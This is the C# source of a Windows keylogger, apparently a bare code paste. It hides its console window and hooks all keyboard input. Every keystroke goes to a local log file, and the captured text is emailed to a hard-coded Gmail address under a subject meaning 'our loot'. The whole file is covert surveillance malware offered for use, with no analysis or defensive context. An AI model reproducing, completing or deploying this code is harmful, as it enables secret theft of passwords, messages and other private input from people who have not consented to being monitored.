Untitled

using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System;
using System.Net.Mail;

namespace Keyl0gger
{
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private static string tekst = "";

        static void Main(string[] args)
        {
            var handle = GetConsoleWindow();

            // Hide
            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }

        private static void sendMail()
        {
            MailMessage mail = new MailMessage("ernbys12@gmail.com", "ernbys12@gmail.com");
            SmtpClient client = new SmtpClient();
            client.Port = 465;
            client.Host = "smtp.google.com";
            client.DeliveryMethod = SmtpDeliveryMethod.Network;
            client.UseDefaultCredentials = false;

            mail.Subject = "Nasza zdobycz";
            mail.Body = tekst;
            client.Send(mail);
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
            }
        }
        private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                tekst += (Keys)vkCode;
                if(tekst.Length > 10)
                {
                    sendMail();
                }

                StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
                sw.Write((Keys)vkCode);
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }


        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;
    }
}